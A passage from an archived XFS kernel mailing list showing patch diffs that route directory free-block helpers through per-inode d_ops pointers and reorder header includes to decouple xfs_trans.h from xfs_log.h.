xfs_dir3_icfree_hdr *from); void (*free_hdr_from_disk)(struct xfs_dir3_icfree_hdr *to, struct xfs_dir2_free *from); + int (*free_max_bests)(struct xfs_mount *mp); + __be16 * (*free_bests_p)(struct xfs_dir2_free *free); + xfs_dir2_db_t (*db_to_fdb)(struct xfs_mount *mp, xfs_dir2_db_t db); + int (*db_to_fdindex)(struct xfs_mount *mp, xfs_dir2_db_t db); }; extern const struct xfs_dir_ops * diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 2fb8db9..a3c21b1 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -1785,7 +1785,7 @@ xfs_dir2_node_to_leaf( /* * Set up the leaf bests table. */ - memcpy(xfs_dir2_leaf_bests_p(ltp), xfs_dir3_free_bests_p(mp, free), + memcpy(xfs_dir2_leaf_bests_p(ltp), dp->d_ops->free_bests_p(free), freehdr.nvalid * sizeof(xfs_dir2_data_off_t)); dp->d_ops->leaf_hdr_to_disk(leaf, &leafhdr); diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index aea65ce..cd83037 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -240,6 +240,7 @@ xfs_dir3_free_get_buf( STATIC void xfs_dir2_free_log_bests( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp, int first, /* first entry to log */ int last) /* last entry to log */ @@ -248,7 +249,7 @@ xfs_dir2_free_log_bests( __be16 *bests; free = bp->b_addr; - bests = xfs_dir3_free_bests_p(tp->t_mountp, free); + bests = dp->d_ops->free_bests_p(free); ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); xfs_trans_log_buf(tp, bp, @@ -263,6 +264,7 @@ xfs_dir2_free_log_bests( static void xfs_dir2_free_log_header( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp) { #ifdef DEBUG @@ -272,7 +274,7 @@ xfs_dir2_free_log_header( ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); #endif - xfs_trans_log_buf(tp, bp, 0, xfs_dir3_free_hdr_size(tp->t_mountp) - 1); + xfs_trans_log_buf(tp, bp, 0, dp->d_ops->free_hdr_size() - 1); } /* @@ -332,7 +334,7 @@ xfs_dir2_leaf_to_node( * Count active entries. */ from = xfs_dir2_leaf_bests_p(ltp); - to = xfs_dir3_free_bests_p(mp, free); + to = dp->d_ops->free_bests_p(free); for (i = n = 0; i < be32_to_cpu(ltp->bestcount); i++, from++, to++) { if ((off = be16_to_cpu(*from)) != NULLDATAOFF) n++; @@ -346,8 +348,8 @@ xfs_dir2_leaf_to_node( freehdr.nvalid = be32_to_cpu(ltp->bestcount); dp->d_ops->free_hdr_to_disk(fbp->b_addr, &freehdr); - xfs_dir2_free_log_bests(tp, fbp, 0, freehdr.nvalid - 1); - xfs_dir2_free_log_header(tp, fbp); + xfs_dir2_free_log_bests(tp, dp, fbp, 0, freehdr.nvalid - 1); + xfs_dir2_free_log_header(tp, dp, fbp); /* * Converting the leaf to a leafnode is just a matter of changing the @@ -468,7 +470,7 @@ xfs_dir2_free_hdr_check( dp->d_ops->free_hdr_from_disk(&hdr, bp->b_addr); - ASSERT((hdr.firstdb % xfs_dir3_free_max_bests(dp->i_mount)) == 0); + ASSERT((hdr.firstdb % dp->d_ops->free_max_bests(dp->i_mount)) == 0); ASSERT(hdr.firstdb <= db); ASSERT(db < hdr.firstdb + hdr.nvalid); } @@ -590,7 +592,7 @@ xfs_dir2_leafn_lookup_for_addname( * Convert the data block to the free block * holding its freespace information. */ - newfdb = xfs_dir2_db_to_fdb(mp, newdb); + newfdb = dp->d_ops->db_to_fdb(mp, newdb); /* * If it's not the one we have in hand, read it in. */ @@ -613,11 +615,11 @@ xfs_dir2_leafn_lookup_for_addname( /* * Get the index for our entry. */ - fi = xfs_dir2_db_to_fdindex(mp, curdb); + fi = dp->d_ops->db_to_fdindex(mp, curdb); /* * If it has room, return it. */ - bests = xfs_dir3_free_bests_p(mp, free); + bests = dp->d_ops->free_bests_p(free); if (unlikely(bests[fi] == cpu_to_be16(NULLDATAOFF))) { XFS_ERROR_REPORT("xfs_dir2_leafn_lookup_int", XFS_ERRLEVEL_LOW, mp); @@ -1080,15 +1082,14 @@ xfs_dir3_data_block_free( struct xfs_inode *dp = args->dp; dp->d_ops->free_hdr_from_disk(&freehdr, free); - - bests = xfs_dir3_free_bests_p(tp->t_mountp, free); + bests = dp->d_ops->free_bests_p(free); if (hdr) { /* * Data block is not empty, just set the free entry to the new * value. */ bests[findex] = cpu_to_be16(longest); - xfs_dir2_free_log_bests(tp, fbp, findex, findex); + xfs_dir2_free_log_bests(tp, dp, fbp, findex, findex); return 0; } @@ -1116,7 +1117,7 @@ xfs_dir3_data_block_free( } dp->d_ops->free_hdr_to_disk(free, &freehdr); - xfs_dir2_free_log_header(tp, fbp); + xfs_dir2_free_log_header(tp, dp, fbp); /* * If there are no useful entries left in the block, get rid of the @@ -1140,7 +1141,7 @@ xfs_dir3_data_block_free( /* Log the free entry that changed, unless we got rid of it. */ if (logfree) - xfs_dir2_free_log_bests(tp, fbp, findex, findex); + xfs_dir2_free_log_bests(tp, dp, fbp, findex, findex); return 0; } @@ -1243,7 +1244,7 @@ xfs_dir2_leafn_remove( * Convert the data block number to a free block, * read in the free block. */ - fdb = xfs_dir2_db_to_fdb(mp, db); + fdb = dp->d_ops->db_to_fdb(mp, db); error = xfs_dir2_free_read(tp, dp, xfs_dir2_db_to_da(mp, fdb), &fbp); if (error) @@ -1253,14 +1254,14 @@ xfs_dir2_leafn_remove( { struct xfs_dir3_icfree_hdr freehdr; dp->d_ops->free_hdr_from_disk(&freehdr, free); - ASSERT(freehdr.firstdb == xfs_dir3_free_max_bests(mp) * + ASSERT(freehdr.firstdb == dp->d_ops->free_max_bests(mp) * (fdb - XFS_DIR2_FREE_FIRSTDB(mp))); } #endif /* * Calculate which entry we need to fix. */ - findex = xfs_dir2_db_to_fdindex(mp, db); + findex = dp->d_ops->db_to_fdindex(mp, db); longest = be16_to_cpu(bf[0].length); /* * If the data block is now empty we can get rid of it @@ -1688,7 +1689,7 @@ xfs_dir2_node_addname_int( ifbno = fblk->blkno; free = fbp->b_addr; findex = fblk->index; - bests = xfs_dir3_free_bests_p(mp, free); + bests = dp->d_ops->free_bests_p(free); dp->d_ops->free_hdr_from_disk(&freehdr, free); /* @@ -1781,7 +1782,7 @@ xfs_dir2_node_addname_int( * and the freehdr are actually initialised if they are placed * there, so we have to do it here to avoid warnings. Blech. */ - bests = xfs_dir3_free_bests_p(mp, free); + bests = dp->d_ops->free_bests_p(free); dp->d_ops->free_hdr_from_disk(&freehdr, free); if (be16_to_cpu(bests[findex]) != NULLDATAOFF && be16_to_cpu(bests[findex]) >= length) @@ -1833,7 +1834,7 @@ xfs_dir2_node_addname_int( * Get the freespace block corresponding to the data block * that was just allocated. */ - fbno = xfs_dir2_db_to_fdb(mp, dbno); + fbno = dp->d_ops->db_to_fdb(mp, dbno); error = xfs_dir2_free_try_read(tp, dp, xfs_dir2_db_to_da(mp, fbno), &fbp); @@ -1850,12 +1851,12 @@ xfs_dir2_node_addname_int( if (error) return error; - if (unlikely(xfs_dir2_db_to_fdb(mp, dbno) != fbno)) { + if (unlikely(dp->d_ops->db_to_fdb(mp, dbno) != fbno)) { xfs_alert(mp, "%s: dir ino %llu needed freesp block %lld for\n" " data block %lld, got %lld ifbno %llu lastfbno %d", __func__, (unsigned long long)dp->i_ino, - (long long)xfs_dir2_db_to_fdb(mp, dbno), + (long long)dp->d_ops->db_to_fdb(mp, dbno), (long long)dbno, (long long)fbno, (unsigned long long)ifbno, lastfbno); if (fblk) { @@ -1880,30 +1881,30 @@ xfs_dir2_node_addname_int( if (error) return error; free = fbp->b_addr; - bests = xfs_dir3_free_bests_p(mp, free); + bests = dp->d_ops->free_bests_p(free); dp->d_ops->free_hdr_from_disk(&freehdr, free); /* * Remember the first slot as our empty slot. */ freehdr.firstdb = (fbno - XFS_DIR2_FREE_FIRSTDB(mp)) * - xfs_dir3_free_max_bests(mp); + dp->d_ops->free_max_bests(mp); } else { free = fbp->b_addr; - bests = xfs_dir3_free_bests_p(mp, free); + bests = dp->d_ops->free_bests_p(free); dp->d_ops->free_hdr_from_disk(&freehdr, free); } /* * Set the freespace block index from the data block number. */ - findex = xfs_dir2_db_to_fdindex(mp, dbno); + findex = dp->d_ops->db_to_fdindex(mp, dbno); /* * If it's after the end of the current entries in the * freespace block, extend that table. */ if (findex >= freehdr.nvalid) { - ASSERT(findex < xfs_dir3_free_max_bests(mp)); + ASSERT(findex < dp->d_ops->free_max_bests(mp)); freehdr.nvalid = findex + 1; /* * Tag new entry so nused will go up. @@ -1917,7 +1918,7 @@ xfs_dir2_node_addname_int( if (bests[findex] == cpu_to_be16(NULLDATAOFF)) { freehdr.nused++; dp->d_ops->free_hdr_to_disk(fbp->b_addr, &freehdr); - xfs_dir2_free_log_header(tp, fbp); + xfs_dir2_free_log_header(tp, dp, fbp); } /* * Update the real value in the table. @@ -1987,7 +1988,7 @@ xfs_dir2_node_addname_int( /* * If the freespace entry is now wrong, update it. */ - bests = xfs_dir3_free_bests_p(mp, free); /* gcc is so stupid */ + bests = dp->d_ops->free_bests_p(free); /* gcc is so stupid */ if (be16_to_cpu(bests[findex]) != be16_to_cpu(bf[0].length)) { bests[findex] = bf[0].length; logfree = 1; @@ -1996,7 +1997,7 @@ xfs_dir2_node_addname_int( * Log the freespace entry if needed. */ if (logfree) - xfs_dir2_free_log_bests(tp, fbp, findex, findex); + xfs_dir2_free_log_bests(tp, dp, fbp, findex, findex); /* * Return the data block and offset in args, then drop the data block. */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 194FD7F53 for ; Sun, 29 Sep 2013 22:07:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A88008F8039 for ; Sun, 29 Sep 2013 20:07:31 -0700 (PDT) X-ASG-Debug-ID: 1380510443-04bdf02f2315f0610003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ubmhkn31ytvvBYNi for ; Sun, 29 Sep 2013 20:07:26 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBRoBOzMIGDE5AxsZiAW8Bo4ihVgDlCKVVoM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006LU-LG for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Bm-KT for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/16] xfs: decouple log and transaction headers Date: Mon, 30 Sep 2013 13:07:01 +1000 X-ASG-Orig-Subj: [PATCH 04/16] xfs: decouple log and transaction headers Message-Id: <1380510433-8353-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510446 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_trans.h has a dependency on xfs_log.h for a couple of structures. Most code that does transactions doesn't need to know anything about the log, bu this dependency means that they have to include xfs_log.h. Decouple the xfs_trans.h and xfs_log.h header files and clean up the includes to be in dependency order. In doing this, remove the direct include of xfs_trans_reserve.h from xfs_trans.h so that we remove the dependency between xfs_trans.h and xfs_mount.h. Hence the xfs_trans.h include can be moved to the indicate the actual dependencies oher header files have on it. Note that these are kernel only header files, so this does not translate to any userspace changes at all. Signed-off-by: Dave Chinner --- fs/xfs/xfs_alloc.c | 6 ++++-- fs/xfs/xfs_alloc_btree.c | 6 +++--- fs/xfs/xfs_aops.c | 7 ++++--- fs/xfs/xfs_attr.c | 8 ++++---- fs/xfs/xfs_attr_inactive.c | 8 ++++---- fs/xfs/xfs_attr_leaf.c | 7 +++---- fs/xfs/xfs_attr_list.c | 6 +++--- fs/xfs/xfs_attr_remote.c | 7 +++---- fs/xfs/xfs_bit.c | 5 +---- fs/xfs/xfs_bmap.c | 7 ++++--- fs/xfs/xfs_bmap_btree.c | 5 +++-- fs/xfs/xfs_bmap_util.c | 9 +++++---- fs/xfs/xfs_btree.c | 5 +++-- fs/xfs/xfs_buf.c | 4 ++-- fs/xfs/xfs_buf_item.c | 7 ++++--- fs/xfs/xfs_da_btree.c | 7 ++++--- fs/xfs/xfs_dir2.c | 6 +++--- fs/xfs/xfs_dir2_block.c | 6 +++--- fs/xfs/xfs_dir2_data.c | 6 +++--- fs/xfs/xfs_dir2_leaf.c | 6 +++--- fs/xfs/xfs_dir2_node.c | 6 +++--- fs/xfs/xfs_dir2_readdir.c | 6 +++--- fs/xfs/xfs_dir2_sf.c | 6 +++--- fs/xfs/xfs_discard.c | 5 +++-- fs/xfs/xfs_dquot.c | 10 ++++++---- fs/xfs/xfs_dquot_buf.c | 5 +++-- fs/xfs/xfs_dquot_item.c | 6 ++++-- fs/xfs/xfs_error.c | 5 ++--- fs/xfs/xfs_export.c | 7 ++++--- fs/xfs/xfs_extent_busy.c | 6 ++++-- fs/xfs/xfs_extfree_item.c | 8 ++++---- fs/xfs/xfs_file.c | 6 ++++-- fs/xfs/xfs_filestream.c | 10 +++++----- fs/xfs/xfs_fsops.c | 9 +++++---- fs/xfs/xfs_ialloc.c | 7 ++++--- fs/xfs/xfs_ialloc_btree.c | 6 +++--- fs/xfs/xfs_icache.c | 9 ++++----- fs/xfs/xfs_icreate_item.c | 5 +++-- fs/xfs/xfs_inode.c | 12 +++++++----- fs/xfs/xfs_inode_buf.c | 7 ++++--- fs/xfs/xfs_inode_fork.c | 6 +++--- fs/xfs/xfs_inode_item.c | 8 ++++---- fs/xfs/xfs_ioctl.c | 7 ++++--- fs/xfs/xfs_ioctl32.c | 4 ++-- fs/xfs/xfs_iomap.c | 11 ++++++----- fs/xfs/xfs_iops.c | 13 +++++++------ fs/xfs/xfs_itable.c | 4 ++-- fs/xfs/xfs_log.c | 8 +++++--- fs/xfs/xfs_log.h | 18 ++---------------- fs/xfs/xfs_log_cil.c | 10 ++++++---- fs/xfs/xfs_log_priv.h | 7 ++++--- fs/xfs/xfs_log_recover.c | 13 +++++-------- fs/xfs/xfs_log_rlimit.c | 4 ++-- fs/xfs/xfs_message.c | 5 ++--- fs/xfs/xfs_mount.c | 10 ++++++---- fs/xfs/xfs_qm.c | 9 +++++---- fs/xfs/xfs_qm_bhv.c | 5 +++-- fs/xfs/xfs_qm_syscalls.c | 7 ++++--- fs/xfs/xfs_quotaops.c | 2 +- fs/xfs/xfs_rtalloc.c | 7 ++++--- fs/xfs/xfs_sb.c | 7 ++++--- fs/xfs/xfs_super.c | 8 +++++--- fs/xfs/xfs_symlink.c | 8 +++++--- fs/xfs/xfs_symlink_remote.c | 5 +++-- fs/xfs/xfs_trace.c | 8 +++++--- fs/xfs/xfs_trans.c | 10 ++++++---- fs/xfs/xfs_trans.h | 19 ++++++++++++++----- fs/xfs/xfs_trans_ail.c | 7 ++++--- fs/xfs/xfs_trans_buf.c | 5 +++-- fs/xfs/xfs_trans_dquot.c | 7 ++++--- fs/xfs/xfs_trans_extfree.c | 5 +++-- fs/xfs/xfs_trans_inode.c | 5 +++-- fs/xfs/xfs_trans_priv.h | 1 - fs/xfs/xfs_trans_resv.c | 6 +++--- fs/xfs/xfs_xattr.c | 3 +-- 75 files changed, 284 insertions(+), 247 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 2bfca06..999db7a 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -18,10 +18,10 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_shared.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -36,7 +36,9 @@ #include "xfs_error.h" #include "xfs_cksum.h" #include "xfs_trace.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" +#include "xfs_log.h" struct workqueue_struct *xfs_alloc_wq; diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index cafc902..0bd33bf 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -17,9 +17,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -34,6 +33,7 @@ #include "xfs_error.h" #include "xfs_trace.h" #include "xfs_cksum.h" +#include "xfs_trans.h" STATIC struct xfs_btree_cur * diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index b5db88a..e94be74 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -16,16 +16,17 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_alloc.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index dd0f48f..ce6f9e0 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -17,12 +17,11 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -33,6 +32,7 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_alloc.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index 60b60c0..45480f5 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -18,11 +18,11 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -36,6 +36,7 @@ #include "xfs_attr_remote.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_attr.h" @@ -43,7 +44,6 @@ #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_trace.h" -#include "xfs_trans_priv.h" /* * Look at all the extents for this logical region, diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 94838fe..c10c70c 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -18,11 +18,9 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -37,6 +35,7 @@ #include "xfs_attr_remote.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_attr.h" diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index 8ba8e4b..a319eb4 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -18,10 +18,9 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -36,6 +35,7 @@ #include "xfs_attr_remote.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_attr.h" diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 578f21b..1407191 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -18,11 +18,9 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -33,6 +31,7 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_alloc.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" diff --git a/fs/xfs/xfs_bit.c b/fs/xfs/xfs_bit.c index 4822884..16ce44a 100644 --- a/fs/xfs/xfs_bit.c +++ b/fs/xfs/xfs_bit.c @@ -16,10 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" -#include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_buf_item.h" +#include "xfs_log_format.h" /* * XFS bit manipulation routines, used in non-realtime code. diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index c7eed87..91c2a2a 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -17,12 +17,12 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" #include "xfs_inum.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -37,6 +37,7 @@ #include "xfs_btree.h" #include "xfs_mount.h" #include "xfs_itable.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_extfree_item.h" #include "xfs_alloc.h" diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index bb8de8e..89ef4e6 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -18,9 +18,9 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -29,6 +29,7 @@ #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_alloc.h" #include "xfs_btree.h" diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index ecec201..c1ad76d 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -18,12 +18,11 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_inum.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -34,6 +33,7 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" +#include "xfs_trans.h" #include "xfs_extfree_item.h" #include "xfs_alloc.h" #include "xfs_bmap.h" @@ -44,6 +44,7 @@ #include "xfs_trans_space.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_log.h" /* Kernel only BMAP related definitions and functions */ diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 1a297e2..0836511 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -18,9 +18,9 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -29,6 +29,7 @@ #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_buf_item.h" #include "xfs_btree.h" diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 956685f..5a8e986 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -34,12 +34,12 @@ #include #include -#include "xfs_sb.h" #include "xfs_trans_resv.h" -#include "xfs_log.h" +#include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_trace.h" +#include "xfs_log.h" static kmem_zone_t *xfs_buf_zone; diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index f1d85cf..b6d20c5 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -17,17 +17,18 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_priv.h" #include "xfs_error.h" #include "xfs_trace.h" +#include "xfs_log.h" kmem_zone_t *xfs_buf_item_zone; diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 4ec68c3..3770111 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -18,11 +18,11 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -33,6 +33,7 @@ #include "xfs_dir2_priv.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_alloc.h" #include "xfs_bmap.h" diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index f46777f..cef1661 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -17,10 +17,9 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_inum.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -30,6 +29,7 @@ #include "xfs_alloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" 